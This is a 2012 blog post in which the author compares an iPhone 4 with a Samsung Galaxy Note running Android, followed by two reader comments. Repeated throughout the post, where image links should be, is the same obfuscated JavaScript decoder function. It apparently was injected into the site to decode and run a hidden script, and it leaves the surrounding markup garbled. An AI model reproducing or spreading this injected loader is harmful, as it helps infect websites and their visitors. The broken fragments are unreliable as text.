Switching from iPhone 4 to Samsung Note running Android

Samsung Note Home Screen
What a great screen the Samsung Note has!

I am on day number 4 of the big switch going from the iPhone 4 to the Samsung Note running Android. A big reason for the change was 4G and a bigger screen. One of the two reasons has been very positive. The screen size is fantastic on the Note and is 5.3”. The 4G is a joke even though I live in an area that AT&T shows as having coverage. I honestly believe my iPhone got faster download speeds. I wanted to write a review but after speaking to one of my colleagues it would be better to do a comparison according to him.

In the picture above you can tell the screen is very crisp and rather large. I love the bigger screen. I will summarize some of the differences and why I am most likely going back to the iPhone this weekend.

Apps

I use a Macbook Pro, which plays wonderfully with the iPad and iPhone. I have invested $100s in apps from the app store. Let me start by saying the first thing I did was sit down with my iPhone and compare the apps I had there to the Google Play store. I was able to get most of the apps with the exception of Instagram (not a deal breaker since it is getting an Android version soon) and several games.

I have a Slingbox. The iPhone never had an issue using SlingPlayer  connecting to my account, the Android app has caused me to spend too much time on forums attempting to figure out what is wrong only to have it suddenly work. I tried it again while I was writing this article and it again doesn't work. Connecting using my computer on the same network works fine. For a $30 app I would expect better performance.

Slingplayer error on ATT Samsung Note
Slingplayer error on ATT Samsung Note

The Play Store is fine and has many applications to allow the same functionality as the iPhone with one exception. App security is horrible on Android. Since I have registered for the Play Store and downloaded applications I have seen a huge spike in spam, had my google account compromised, and chose not to install applications because of the permissions apps are asking for. Why does a picture app need access to the phone feature of Android? Here is a screenshot of a warning I got from Gmail this morning.

function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandroid/softlayer2/" rel="attachment wp-att-1744">softlayer customer attempting to hack my Google Account

This never happened before I started downloading apps from the Play Store. It could be a coincidence but I doubt it.

Camera App

I use the camera on my cell phone more than I use the phone feature. In Daylight the camera on the Samsung Note is comparable to the iPhone. In low light it is not even close.... the iPhone is great and the Note is not.  See an example of a couple of pictures I took with Note. The picture at the top is low light in a restaurant setting and the one on the bottom is actually a picture with the sun directly in our face.

function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandroid/2012-03-11-20-51-39/" rel="attachment wp-att-1746">

function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandroid/2012-03-13-18-29-34-2/" rel="attachment wp-att-1747">Galaxy Note Camera App Picture

Multi-Tasking

function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandroid/photo-1/" rel="attachment wp-att-1748">Android is good at Multi-Tasking and since it was the first of the two platforms to have it they should be.

On the iPhone, you double push the home button and you get a screen that shows all of the running apps. Sliding side to side in this configuration feels natural and the implementation is very Apple-like.

On the Android, you long hold the home button and get a Task Manager screen, it is very much like the Task Manager you get on a  Windows Computer with the ability of choosing to end a task. I have to say these features are comparable for me . Check out the screenshot below for the implementation on the Galaxy Note.

function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandroid/sc20120314-230535/" rel="attachment wp-att-1749">

Search and App Launching

This is also comparable on the iPhone and Samsung Note. Hitting search will allow you to search email, texts, apps, songs, etc.

function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandroid/sc20120314-230513/" rel="attachment wp-att-1750">Searching on Samsung Note  function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandroid/photo-3/" rel="attachment wp-att-1751">Searching on iPhone 4

Battery

The iPhone gets a horrible review from others when it comes to battery life and in every update in hardware or software folks wonder if the battery is going to last longer. I can only assume that these same users have never had the misfortune of owning a Samsung phone running Android.

The iPhone battery on a full charge will at least last through the day and most times when the battery is low I feel like I have really been using the device.

The Samsung Note battery is the worst. I actually took my phone back to AT&T because I thought something was wrong with the phone. I charged all day and with the phone on my desk and nothing running the battery lost half of it's charge and by 8PM with what I would consider minor usage the battery was red with an X on it. The phone died before I got home. Potential deal breaker for all of the power users

Summary

function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndandroid/samsung-galaxy-note-lte-vs-apple-iphone-4s/" rel="attachment wp-att-1752">size difference Samsung Note compared to iPhoneThe Samsung Note is a cool phone and I will most likely stick it out until the latest version of Android, Ice Cream Sandwich, is pushed out. Instagram is on its way so I have that to look forward to. Though I will never use the S-Pen included with the Note it is kind of fun to have when playing Draw Something.

Keeping in mind I wanted a bigger screen and 4g speed I am getting what I paid for. The screen is awesome. The 4g speed is hit and miss.

In the end I love my iPhone more, but you can love two things at once right?

 

 

 

 

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8 thoughts on “Switching from iPhone 4 to Samsung Note running Android

  1. Do you still have the Note ? If yes, what you are latest thoughts, now that you’ve spent more than 4 days with it ?

  2. Instagram and Facebook apps are now superior to the iPhone apps. Facebook actually comes with an instant share camera app (if you are in that sort of thing like I am). The Note is huge and people will laugh at you while you hold the monstrosity to your face. Then those same people see your screen and become envious, it’s gorgeous.

    The photo editor built in to the phone is awesome, truly phenomenal. If you have used photoshop you will really enjoy the built in photo editor.

    Video playback is flawless. Any file, any format, put it on your phone and enjoy. I didn’t convert on the iPhone since I used VLC for iPhone but that is not even needed on the Note.

    If you decide to make the change I would suggest ditching the default SMS app and use Handcent SMS or another one, it will make messaging more “comfy”

    All in all, if the iPhone 5 has a bigger screen I would consider going back. If not, then I will have my Note for the long haul. I really like the Samsung Note and still use my iPad for some iOS goodness, but the phone was a great decision for me. Also, if you do it, hit me up and let me know what you think or bounce things off of me if you are trying to fill a void left from the iPhone.

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